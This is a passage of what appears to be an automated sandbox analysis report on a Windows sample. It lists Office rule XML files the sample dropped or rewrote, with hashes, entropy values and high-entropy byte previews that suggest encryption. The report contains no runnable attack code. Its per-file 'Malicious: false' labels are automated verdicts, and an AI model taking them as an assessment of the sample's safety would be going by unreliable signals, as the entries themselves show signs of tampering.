Malicious:	false
Preview:	<?xml.....[_j..A.k.........{.s.3A..Mj.E.E...3"w......{.8...}.b..\|6i.S{..........)..C7.f..\.w...[......5..L.X..&..."..8...S.....D.rs.96.Q.S\#..........fd.@/....m.......;.@e[E..d.T...............S.....u.ns..a..rj..nG{.o...WU.........%9d8_..@.qM.x.X.........U>...d.......Y._.d.....S c.g.....P..7...=OrD...t7.S..m..u."E6h.c..X.....v.+...O\|..60..V.........n...b...n.]I...{q...s4....Hg:8.n...]..a..)...O.Dt..c..'hKH...o...r...9wK.Uje..z"!....i.o..).%.]... ......[.3..k..7.s.......jz4.v..../......z..N_.x~.}.js....h.=.....4..4.pn.......>v.....L......P<08.....Q..5....hS..h.&z.+%[..'.<...@.!.l~\.....,..&....I-!6U.)......V.P.....&<;...)).7".Q!sc.1..F4.\|O...s<....++].....9j.0>hd.E9-.A.Q.^4.~\|..A].q,.[}8+.f...-.....F..&[.o.\z.....d...C.Z.$..fH.... .M.g@.tlw%n..V.............4.(68Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.943120208541499
Encrypted:	false
SSDEEP:	96:RyMH54tuHXCQngx5f72fmXNcw4t1ERqkEbpdvJR/8J+:RyPtaSQ+2QNp4zEU18+
MD5:	750AFDCCF394830957DDEA8520F0FF26
SHA1:	5A583D8E201225F655B3233634E1B6979DE2C766
SHA-256:	1B3D529A2AB1D70C59587CC618D2AECFD38625CFB7913E5A07A16A3ED7B05B89
SHA-512:	3E12394237D008F61CFDD47BD7590C95A3312A3C9004A830D4333548B27372C6BC6FBE8C00D454A025C238CF21218F2191618C62A34E32A7A0972E715AA2F7A7
Malicious:	false
Preview:	<?xml+5...L%..I.2.(...L>c....N..c.]d.M...V.:.XN....3.Z..g....C.7.Fr,G....u.3/.C.~..?&...K....j;....^..}IfFg{ ....E:.vl...!X.......T...u....s..}..C..^.R.\|.i.H.z.._..sK;..7.m.^...1#....a.'.e..:.;.bz.i.e..G&...>3...,..^.1...6.U.S#..Pj..r.m..]k....9...stf..i.p.K...a.8.........zN+...=92H...bu.XQh..8..2...4...>.5...+..Y.O..@...,.....0z.>K.@h.\|u...V.<1.....g.T...\......C..#.?.2.;...H.zL..ud_07B...%..W.......X....:..6...l..x......5N.M..c..gw7J.#.(X.z,v..3.g]X.h.j......d.zb.o......WA..Hkp........0.p....01............%e.1.WH0]..0....9...8...5O:......_N.g..q"gYA.qF.b....}?].....-U.y.D..3!...m/...^.Rz..>'s(.'..!+.%lL...E.....u.....TI...tW....W..9.t..&.K.....0. .U.....AZ.94..7.F..I...i.GnM:.-<.&.Q..Y...:.x.f.l.3...,*"..~+.9...(..M.H7s..z.....)...Ip\|.]j"w......^4.\.:.-..O...Ry....G..F..D.E7$.3...u.b...b.....R..V.F....j..>'..>..\|...ye./(p;.88y.{7!p....#.n.$Q..;..B.:.1 K.w..h..+\.vs..`.....`.....d3..1.[.....n..".f.. .~.........K.bP.....M-....f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.955109049917055
Encrypted:	false
SSDEEP:	96:GYEn1Ns7Is/9ZPl1HhPN1N9PpzgoTqO5qx+2UWz+:vEn7s31Jl1HhzpzgIh5qMVw+
MD5:	1B0FDB128B9E6FAAF5FF7D5B477AE83F
SHA1:	7442428125875F8071E5098C3BDB120374E80FE7
SHA-256:	256393035439A68043131AD2B7F83752FE93E581772CC6DEE7A4FE896BAAA3BE
SHA-512:	A35F44ADFD9D9AC5B439DDC0FF75358F5D513C820E5DA64A5C742A172BF35986962FAA688D02A4CEBDDD7E40556B85618127D10C95ADE17FE1155B2245A0EC40
Malicious:	false
Preview:	<?xmlUktZ...\|..Y\ob..p.H...6...[MS...L..5.b!.....`Z.8...}r....D.7.qk.).]<.b\.. Jd....76o../.......u[..{=Y&.Lq.gQX/Vr%.Z..$..#W7.......7.=.N.Q.Ca.....k..A..E.........p.;....C....y9....#.%.s..u.:$.=[og..xvm....>.....#..@S.~ny........IU.\.L....s....;..#.{............-,..^..M.?...c.ZO.(0...u.}h..2m5[.. %J..Q3.....@s..)W...R4.......B.O..a.8o.J.pi.O..n...S\|..T....+H...Uz7..55..<.i..G8.e.dd\|Er.3..xi\.Pdh&l.?i...s....@...."o..x.C.....[.E.l..D."1,...$........C,..<pVk.#8..iT....E'1U.?k............t.o.YR...H......{....F..6t0-.u.......G.1v...^.6...E.\|b.:.hC.=.'Zwc..-...%{..\|....!.....p'..P.".....)..%\|Z....V.......-U.c.7.7..g..&.=...a.-r.......J.h9..g..).........3.1s...k3...co..^..s..7d...=....iS....5..b.?..,..'.<..7......A..^]w....b..kv....\7.b....d.y...wu.'XC..uA..f..O..n..(.}.vT.6i.}....!)KP.....Q..4-.,.Z!.P6{.y_P .*Pa`,nl.+......H...%'@E.@..e......y....fO.`.....Y......t}x[.y.rS..)..K.0.;./e+f.m.......)..);..f..Q.<..\.'m..l...U.7..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.740738297377151
Encrypted:	false
SSDEEP:	12:GJkehg/BeuHBroLj0oyJ6ubrXxm+doIjahY1ju1YYlqk7VfSmM7jKBokzVKQsciD:Gqehg8u6mMGrhNCIjaWRkYKz7VKJcsbD
MD5:	D229979E2247E0F05C815BFC98C19A4A
SHA1:	BEA77D9C9BFA375561542B24484779EA78889A23
SHA-256:	A642895834A632851285A228107B2757F7DEF34991E3F4172ADD0E402D371D92
SHA-512:	E353BCACE59415FA9C335E3AFA2E1E89E35148AB279B0FFEBDB6AA8DC35CF992BC0EF8F6F86DD8873221EB53811C6D54F0D07930B8EA9EEAC45B7799E171D47E
Malicious:	false
Preview:	<?xml...:.....Gb8.'.Q`?.}.B..,..e.)..z]......r.......\......s/..I.@4...H.F+y...o........71.O..R...'.....ig..?.......NL0........Bn......,.....(..)......{WQ...?.iRx...7..:.J...8....Ea }...?`..... .#.!P;.......$...Tn.0.%N.De.S.(....V.?.=R..<..q.8j.;.......h...U.N.-U.t...L.Q..tc..J.......B~2Q9....P91. =.h..B..v.._...V...&.p....[.v...............)....c.L..k&i.p..t..k.")/e^".)...."....]Y..$...w3C..Q....F.....Q../...^nw.,M.82...fX2.!4=..h...:.......9.`uA.1M[!'w....\....H.u`c?.r.Jt?.:Z..z7...hD...G.y.0.9..*.......\|.R....J6Q.q.3_..n.P.\.P....]f...A...y.8x...8...Z........0....Om...-...6Z.n.S....OQr.3l...v..6........6...]..>....jFh...%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.885696489596294
Encrypted:	false
SSDEEP:	48:sxRZH+UbuliUIt4MkwuTnoFCuZIHB6PvdmD:qN9tXrKmCuChe1+
MD5:	4271AC4C797B52EF8BC1F45FBB868919
SHA1:	C67B3C960A3E28B042A831368502D35B336E1996
SHA-256:	44537B08079F86637390CA0483CD3779E042D7B7951ACB11110640EA319B439A
SHA-512:	52BC599DF4E47CCC51DC26D17A09B3E35CE746E91175D384440DAC2655760BF756C7B3372F998635C96C1E1B31F576F62FDFDE7C72D3F5C8D596992433B764B2
Malicious:	false
Preview:	<?xml..9..p.....{....I.&.....,..1.j....,i6A.Y........F......... j...4..SA./.o....g.~}C........q.......z:S&..o.+T.i.K..T.lY...8..B..lP..`....twH.5.Dj...2...[...\|MZ..-d...=..R..c.e.=A.U..4...-.U<t4&...(O7..;.......\N...o7I..4,.p.....r...?...4.H.f.......rV...V..\..~.N<........Bc...~T.6VD.sy.F... L..$....5..<....G%....r`..r.q2.o.W.jBg...s.k.pB.x.z.e...._.....>,%.$......a_.-3...D..........*.N..L.]J:.w...:...P%._..<F...cWA.%c.#ds.......Y.....H..,oc.}...N..8*q...7m.v......=..g.u.6.g....u3u..\|...D.........G..g.>......W..A........i..5..C=g.....n^m.._.....RV.X...^...5.bn.Z..tgv.So.o.\.L.....K.q...\.^...<FA....W=..Q..:.f.K...H.g..l.+..l.'.:!S..D.....$9i\|...f.E_....[.h.].1L0AfL.P..y.+..v...Bi\|....qv.Z-..0....=.....s...../.....(]&.X.....3....{.Z"........J..V.S.MG.^.....d..s....[.@?..j.<T.".7.&..H<?.......:?...}.v....,...jw...so....ec...v._....636K..d.i.........._.+.=..EI...P..h.34.;]{u.B..+.g..z.\|fu+...A.G.zRY....E...X..8.\|.M.G\.W%..k.....$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.740375999818794
Encrypted:	false
SSDEEP:	12:Z4vxbkQo0PoSZuntD5UjuOQ1E7EGoUIhxgmW4/uMe9EOyZkx7fw1yM+2W6pa/6on:UwT0PZyd1OkXAj9L9fw4M+WI/7CrhsbD
MD5:	E5635B22776074C5C45B60C0251B46B4
SHA1:	8FC3FDC43F40DDC21F6DF6B597DF3A14DE890DD8
SHA-256:	401FA9B1D73464B9E1E01C9B7334AF15C3BA6316D7D6462B343B59031B421124
SHA-512:	2C35B395922E3DB7C7DDA112E4DA4FD5A6C83F77AAB72789BEBCFA5471E12143340130932D3E2EDBE2122955219B66D537359E11933ED0114FE6F37BB9BDE9EF
Malicious:	false
Preview:	<?xmlN&l7..\|.qIe....T{...d.h.J.b..<.5.iqYma=...H..Qv`M.lB......;..p.?}.}..C.#.z..\|.`.#{..^.Cq..%2..b....6"..~...i.....M.2A.(1.h.?G..(>...0..'.B.h....K..eU.H...V.T..`.{..Q.............IS.....!....=x...D.n...r>k.8..bs...X...{.eG.{.b...3$...OeQa.#...v.\..j......k..<.J.y6....A=..kgq.g.....'3.(9..i............U/.....S.I..O.hl.......w.J....Y.+.)....k\|Om...4VB.\TbY..X&..r.......:.o.I.`..Yw..X}>..-m<...s..-.q.n..H.0..)..+.a....F..-...L.q.j.(.#~}..d.2.x.Xos.unI..H....<x..>.S.........4...op....Kl.....}...P... (.W..$.......?..>y!.Ar..xu.k.....S..O.UF.m`.~......-.e.......vh ..Q........_.j..Ue3w.W......./!.>.k..g.`....vKAb.&.B."....E..\.^....pb....B7#.wg.6$...f.M\|.PoY.Y.?.}.~`&...6..Jz......[....m.........u....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.8188467297175075
Encrypted:	false
SSDEEP:	24:XQz6gnA/LRzdqAA1fRj+C2t/5bPaTAAxATLtX6/7FXyQg4sbD:XQX8dqAA1fQt/tPqxATd6zFXy/4mD
MD5:	0A1416AC800E17C54DC96FC37DC74DB0
SHA1:	698B38EE2EE8896D2D26860830EA75043BD91FD6
SHA-256:	68C5CF97C7A9257AF076DABC0651C2BD72173A23DB02F95E4290B91D606E0FDC
SHA-512:	09668DB07693F7023BD634C80EDD0CD58EF337908F5D61A37904C113244B2AAAC7D5F76B64C0ACF740D250B75F6F92C0EA8AF1E7C3740E5EE724D039F8C02C4F
Malicious:	false
Preview:	<?xmlL.I.IvEJ:m.....Z..W.....6.?.3.G..w....Km........$u.e.n.....@..,.M..\|.....T...Dv..~.e.....oq.n-6@...S].V>X..~`1....&..=.5B...9(H.zn..N.U...%.:...$`.n.1..NE.E.`...#.Y.......s.!3.UG..X.n.....6..!....B.Q8.H.3It..~.7.X..]_..qA...].n.}..K.\|L.3.R~+x....0V.W.2z.<..i8.b>y..0....A\.xM...#..) .=k0`.L.EC.4{.....!..1.Cq.j..y]0p...;.(.#j.....!=.Q\.q...<.......SA \|..D.xv.2.._.....3K...1.t.<.......1_.......s.s.O_&.u.5.\|...1.L.q.........XLO%.W>n....d...6..........?.\|Qa..Ao...G...o.Ei."Q.X.b.7M....AB.b_......V.....Vzrg. .....'..S...%....uh...FF.......\|.../2.q&>%c>.V...;.pk....."....J.CH+a7..\S....,0..T...fcU..(+.0r./..bJ<...,y...=.....J\j..+......{%Q....2Ks,(.=...Z$..@..K!..>5..e.y.e6.....\|.......R._!1...\...f.V. ...f.k...k.t..^.......w.j.i].g=.v.....h-.^./I...D[.........&....b..p.7O..Z.....~.8..;..5O:.Q.....\Y{..'..n"\|...]wk...5...x.=.cu~.#"Z@.k.9IP... ....`..q[Gt......0.J..A$A%`..ho.1....4...#3...=g...A...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.870688721854414
Encrypted:	false
SSDEEP:	24:XkHXNGY2fN8ty+jaUAUETQ4cFRY9XsjMNO6p5/ZgRHez330p9pGsbD:X6NG/F8ty+jSTQ4cFS9XsQj5/Ag38MmD
MD5:	F2F915A5F8DD013638892422625068FA
SHA1:	EF1B7443AAFECCF87F20CCC381E9283A116CE575
SHA-256:	3CB8BAC11999CD2E539C53E9D85D2FF1A24C4DA512FA2EA34061ED2B734CC2A6
SHA-512:	C99C7716E09A2C828BEC73D43CE06CAE3607C25C9F3B50928165E09A4FAD71BC4D03499D227A0F8926AD3F062CFD8B86565E3371AA37AF2D9667E1E7CE89E71F
Malicious:	false
Preview:	<?xml)..2..g..F...c...B...&...\|g.x.........@0..>n..%<......a.....Q.8..D$.....8b..0.D>........"..sY;..#?.]...t}...-..S.1..NP..mw..((.}.^xK......$N....VP..7......G_.{..,.y-v...\[.s....D....=.4..../..C..`eu f.z.K.....%';.K.......8,'_SQZ.]@..@..M..L@W...X:....u...?..Y$o1.....;'.Cj....e...........c.8f.\.....PeN.=.,D.........:...L..is..!.....7-.....Z\...Y".%MZ.M..@...C....-.B..V.....~..=..I<..G4.r.......,mM....Tl..v.C.`x....P..;..........j..{.:@...).dw._V..O...w..O....O....v.HO!...K..#..m..Pp.d#...w6.Jkjd.#..]....$L.m..V\|.f.X.f.\|onqX4..R....2{..n.XVi~.j..!.q..s}.u..~.3...?..y.J..W~M:.Q.....!...R...YN.26X'.6V..f..O.Vb.).d .B:o.T..#..5...-..F<GN.x...D."..oI#c+.z..\.f......6Q..6l.7..ce\`..;..'vI.YOJ.iITA&.w...n..C...\$9..nd..5...HJ$..jH1..HCyN.X'XH....B&.&q....lo...Y......a..w...b..7...Z..g]S.T..?.(f}.c75..R..b...*....jW...{9[y..:.......(.(.Hx....8..H..~.......n.WA.._]$....jA.g....!..G.53L5....O...#}z.s..hL..WJT...C3.X..,.h.....E.w....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.904862800020819
Encrypted:	false
SSDEEP:	48:ck/BGdvy8fd+zFKHcMLpOGaZ+40B/xrObt+WfmD:ckZGw8fd+R3GaZ+4w/xr4+g+
MD5:	BCFD42325D8667E4C16A5000B17E017B
SHA1:	09AFB84103A209528AA87481204F4FE1D63EB31C
SHA-256:	96B4C74E2CEFC94E56CB0FD4DFB298C2E6BD98EE23F0F4F5DE5FD3877C46D41F
SHA-512:	0784E598CB5E5441604995E2B60D8F4B16F9FB73CF11E48117E05EA1263BE3A9CBF9297C5BC78E77C195C5E6EF7CCD4B8A27F083C8478409157458BD4A9AEC19
Malicious:	false
Preview:	.<?.y`z~....<K9...........@..}..?0Z....@'rv...;.l.".WBTE.Q}.@...C....H.\|...\.+.X..Q#.en..7..G1....S8...x............(M.....-.../.R.....k...LG.QHC.x&#.v....B,..B.RHD.L.......d{....X.......D..~...Z...>.jD3....4(..O...K.......z...W......2..9&..WD(.N......R.A...oZ..cnw.1...D-..?...:w..8...l.)....{...RV....V.....y..h+.].t....,l......N.......k0.:!.m........o....'O..K...I........4.B.A.. ...(...G...AQ1.X.....g.F.idK.tX.4I&(<......U..1.&U.>.,.....8...\..~k.=..z.nCd,..c....<.....)c..(.h.<..G..V.x.....y......Rv....q.....w].E}.D......'..vLN.\,{/.....$.e.J?.=;.5.~.N5...,t..k...X...T........WV....$jW. ......B.N.<...P.......j....3...]...}PY..g.M.{[.S....6.".gT.\|...2......'.06:....F.q.....m.#E:Q..`.eIw........-.B.......rL;..}............[fzM...`$....@.<...~i...P.G3..f.>9s.^.H..{Z_.5..l.a.~.F.D..%..^iUP.f....M#......&..l...=......s.r5_.....[.....K.^20..#}i/...\|....P>'.."....F.s~...6...bl.....e..qg4..L...X.p5.S..Pv..S..?....H....5GE......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.754096178267093
Encrypted:	false
SSDEEP:	24:0Y0ev/gKb/VXvpra/0PmiynyJtnYsKTUuxLNJsbD:Vv4KJ/Jy0P+nyfM/vmD
MD5:	EA8C173DF136274CB04BFED22FBB2944
SHA1:	E4AF1949B12F4A484229377B28EFD7BD79B8D279
SHA-256:	46B5CBBB8FB11FF8147930A79F7B411BDBED7728A75E9FC89C190FF61504D23E
SHA-512:	B6558194BB2F36324E6F0F6C3723D3BDF7D10BF9B14E40454B251F76426A48A2129C339FE2C4F892177D75AF598721E08993856B3F1CF0AE881DB0160A251390
Malicious:	false
Preview:	.<?e...k..Dv.k..3S.3...C..j}9....>.....Us...:../Yno......{.`+........S./..,..R.gDL....S<."..$.C.8..<p......OL"!..k\...b=..Q..l.W.L.. h...5.u..........3"i5y..w$......0..80:..B...M.Ga.h7........T.z../..'........>.s..l4.}2Q.....a.j..\..P....2.:.+.8BQ.^H.>4...."#b.....(W9x..AV.L..24......%A.#V.."j.%..O9.0.Qt..,.nx..C..U...`G.....}s\|.^.\|d..1.tN...E.C.P..V%e.CU$s.j.i{5b....t.\|j)X7..[P.f.zH..pV67.O.........v..,.\.hUS\?i+.@....,b....I....]..Q..;3."U#.BL..>.gs.EJ...$.F..X}i.YC..).d..,.%%VW.aM..y.....(rx..B5..^...Wa...g..._...Y0....Y..E.7.SO..-^..4..."..hD.k..a.....E.T.Nx.....H..N%.".].e....T6.]..4.C...%-.f...Q.#GGi_.0.^........O..}O.".\..r..#.....cB.I...=.<.....T...g...]..U.91.......G},~...%.0.`..&.bQ....!.........,gB..........o.3.yWt]C.q..0..k...E^J..^...L.U'VtjJ.b=s..r'..R.7.....m.X.p...5T...(.......m...g....i....U...9U.\"...E3w. ....~..@.k..........m.L\L.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.95821296582995
Encrypted:	false
SSDEEP:	96:ipQ4E0uRL2vHURixCsabQmYn2VClpZ6evWcLFOkuvaoBvf+:n9TRL0HURi0/FYnkeJLQdHBH+
MD5:	FADC75780AEA82D98AEA769AC9328C90
SHA1:	15C4B29761CBA0C24D97FF0B54DE3B810F6B2D2E
SHA-256:	C67DEFFBC8DBF594B2DF6DE41488B2707F2A000C5DEC7BDD2F44A1CCA328C2CF
SHA-512:	A2F0B9FC2525E9271167F5E4FA94D96794DBAF78C6828E795E2E3EDD36B0ADC84952A196B3978333334FA7CA2F31BE027BEBCB1B62F4C3DD807BD63121E324A4
Malicious:	false
Preview:	<?xmlEZA[.y.8^....{.#.4L..z..;8<...8M.bv.`...a..v.#...W...X...X.................);e... .;]p..X.T..E..f...B...c.O=./..s.A..2..'@..=....Lni.G.....7..2]....q../.4.wa..b...J..#.'.Te........<..\|I......{.<..;...S..{.E.J>.....3.../..G..]bg..O+.<+a~.q.......j.\~....s..L.=d.u..I..~....n.=....A.9oG.L:m...9R6_.F.......?.D,.^3P/.....X .f.........Nh...+05h I@!.K.!........04.....Z$........\|....X....}R"~}.E..pT.4GS...~..M..l.-..Z..<.8.{..M.]...0....6.hQ._.<..'s.....u...)..x.W..C..I..p5 k.72x.v..{.5.Y;8........Zx. ...j..~..\....(%. e%.b..^i..R..E$...G.^...a.......M.8cw.....-.h....Xi3..:F%lB.2v..C.X.?N.U......@......kn..O.X..\|U....5.6.l..$..K.3.\|>..'..`..z.Nh?...R.H.M.O..y...a.2 _hc..ZY..A[.ap.JZ.)..h^....h0.rB.. `^E..f..Kb....L...7....[N.......XO.r..XU~o"...Ix..'.[.1.0..........?v.;.o..05.H%.1x...$..\|...\.P.e.a'.....9.A.s.b....$.}w...D#6.w..MN./D../.....mfi..9[`...=.Eo.w+Pc)r....K.q...mq.].n=...b....l*. [.....c.zz.Z;.l....v.....U}TdWA..ipU%.n.VC....A..G.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.927273445459811
Encrypted:	false
SSDEEP:	48:PnIOLbycR+bH+yttz79BvSn0at7O9fK3dC4Akg8UU4gH0FOXJ10g6Dk69mD:P0qWH+ixBhaFOpgslhBvgUsXJOlJ+
MD5:	71F0E78C6A32990C99CCD9FD5758ED74
SHA1:	A2A9B42BAE5B5F801AED853E050881D4CBFF7D3F
SHA-256:	A687F85101B56D31612B757F8CB1A4D47FBB292809B501638C4F20C4071A23DA
SHA-512:	0ED078DC648D22710A8ACAFD92E1E40B50730732CAF1C442BC5C708730DB8E38F812B3BAF3E8332A66C4C4035D6D5F62C9EF61C7F7B097B93737EF38AE1B9346
Malicious:	false
Preview:	<?xml._k}.\\P.c.o.vQ). .y......9.U(.2GR.S.^..Z$.o...h.T..S..b.(.3.A.zi.U..B.Vc....P.......8J9..{b...@.....D...M.q.....y......z_...sdf...R.C.;...:...\......`1Sf.(vj:........2...i&n...B..sK.W!:.......h....T..wz.L......~.@y+v........$..h..w.....'..H..I.A.....@.......x'......H...`..>'...K?....d.p.a.J4..[e.h..>t......b.;.........[/...W.}..-...........A...L.....W..[.M .fp..K............+{...=.....h.'M\......4.."B...9..\.....>zCBe&..^+.G(..N..~;....H..>..F..W.3U0..1sE...T.......(?.6.^...t..@....h.lv.e..\c..z.......Y..d.ZV..a.er.R........S`.J){.=...z=4..D.N.M.%.v......:..B....0.Iu N[...IU....C.._.W.......E..z..W....5K?Y.c..w./j\|..f"zp8_....(..g..$................T.?..p...c.-H........z$...a..7...A.yQ.{u)..v..Z!.q..O.r..a..vOM7.n.v.R....k..p.:JR.P..Dy.....\|...Pt...v....m.G...^[...f.-...+...G....u.x.0...(.Y$\n.>.......H.g...T=0<.....S.).N..F.C.fz.m..r.>.....]7.O..,....MB...4.[c...R.X.P......../.O<..5.....$U.%....%y.....3.. T.U.^E....r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.955724397432132
Encrypted:	false
SSDEEP:	96:J4kLqC7PZJI5q2kYmtXCgVxqB3tmBaSgdm7xEzeKJ+:J4tC7PZy5KtXCgVSt4lgdm7xyeKJ+
MD5:	12350BFF5C9172D68DBA156D171C16F6
SHA1:	47B3FBF36B6D1FB6B5CA3A7A5EFC1554CD18FA5B
SHA-256:	F6404F6B4E886E7AB0740C1D08749BC996F12B1F8E96611C665BDA717C876426
SHA-512:	00B71BC728B7A0AA5D1D929799EE6401DFCFD4B7096B6C7E0635182CEB56D635580CD3D0FCD222A0F8B6415F30EBD43CBA721CB3450B7A4247CB8CF7A070C1E9
Malicious:	false
Preview:	.<?.q....L..`...N.A......P.. .Z]......~0.....uC.....WT.D..K...\|c...0...B.4...,.v.;....'..`.$..Z...9.....\...O.T(..t..b_R+...7..B\m...."..V.;.76Y.;ap.1.C ..[@a.;..X.t/bK.8..x...G2...k.+..V......... ...`...[.$.[.f.v............/.p..!..qL.8%n.h..e..P>.pz...-}..J..\...o.9.$..lf..F.R..J.y..%J...iyu.g..-....Qg.....:+...J......{YM}..n.<.f%..5.^o]>B.....W.M{@...'y}(...A.p......."......Cb.eD5[v.6.......0..r.<.....".N.3\..~..)..v.L...\..$-...q..\.?b.(.l y..y}\..J.!....}].......lI.T.A.....\EN...Ge`.....x.B.g....V...J..1.....v'.t.....%-.Ds...>L...... ..u..t.......S..._.hjoq.ks..\T......5y.x$.....F....>bZQ.N.Z!...;7.....[Q..X..\|..h.C..:B...A.bG..[..;..hi.......J.D"..."...`Dq..f.......:-{....xD....A..kl3..1.^B..m...\]..K...V4.M...p.:n.H.n8.....l..vS.C..18.\|.....:...F...kU6..-.f.......j.{O.;.#9.UY.9y......+kbFr .U...K......C.....R>..[}..4.t....$v;.h.. .n.+4!...hD4r@.K......gp.c..(...Q..../6.e}%.g..v.C.0GDY.S1...(FU..v....[Y.4N^...6._..}.......]....$\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.936747000565052
Encrypted:	false
SSDEEP:	96:Swvn70pgMMxNGrkXtQSefJsdoq0wKuco4Lax+:No+QSwJq01PLax+
MD5:	C8219E4D1C2BC420FC23B93445E5F64F
SHA1:	26D5B0C48F0EC58A57F4C1B9E067464150DABB79
SHA-256:	744C160D03D823C95CB044377FA1C1DF719D0F0414A4F98CFEAA8051713AC45D
SHA-512:	110F001EC1CC984E8163898A95242F3BC7479D77CB52453F41955AE972C93C6870936108AABA525D2AD39FE2AA7D77DCDB3D5326377C5783A5B2E8E0E9E3B6F4
Malicious:	false
Preview:	.<?:=....j.&...I..h6....P.t...F...f..lPiprT.....0..k.h..'Ddh.....?.^J.;..0@.l.ta..D.NQ....<.m<....Z.K.{.s..%.F....DVW..@o..[..N?........a..QVu..Y[...............J.\:...9..$q.Y....\|L..Yc99.N.-T.h..I....`3z...../.z...i.............lL.....a.VJ..N........5W?.z....>[..R...K..K.6....v.y......L.P......K=.:Ag.jN.e.....C.x..a..1..1.{...:.4.......S...!.e.=m.wn....<..r.....x..6......... ..d.W.~..^.\..}......`<.\|...m.....,...6..l.%\|.........1,q-...,..akb.......:..8.~.~4.O\....3.J....).>..d3b)T...~-.-cn.......NJ....3}(.2.p..r../8e...!.vl.e./bs....QkV....'.^L....)..6.f..:./z....v.6B.wi>.h..'...z....y......O..........".I.Q.IzpD...wy.7.G.h....#W.N.hkE..7.....-t.....#..NW...%..\......RB.......g..?........Fd$yj.l.Bk{^.".....s../pF..z../n.vI.0T<..5..uG.P.U..P..zP?".n...4>".E...Z...6.H<.=.f`.ayi.n..c.....R.....X_...^..B....6....\|~.-.z..y...2..._.\...l..%.A.'_....\d..<......t.W/,}.t.>..........w..q...qr#P.~l-.pN.K.(Mr....<%]..h....H.,z:..(..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.945144841149677
Encrypted:	false
SSDEEP:	96:CX1q5CuUY/O8La+UzTrJyhAm65DmUrhtqgxH+:CX05vUYW8gvJyim65Dpr+aH+
MD5:	C2FDE79E2FA5A783CD79BA579C83100F
SHA1:	4FC2BC8A114F52D58E0D7EAA8EE467E62A9C15EC
SHA-256:	AC5F696966EB08317B5CFCF40B20A1E4FF567A6FECD3FA17077A139AFAA71359
SHA-512:	BCA1EF092994CA52FF4195F9620B344D95DAC692F8918DD93D9E0795AC4B1CEBB0E1B69327797FC3DE85E31DFBF55CB6909F065BD375B6B57D26C67F098E7191
Malicious:	false
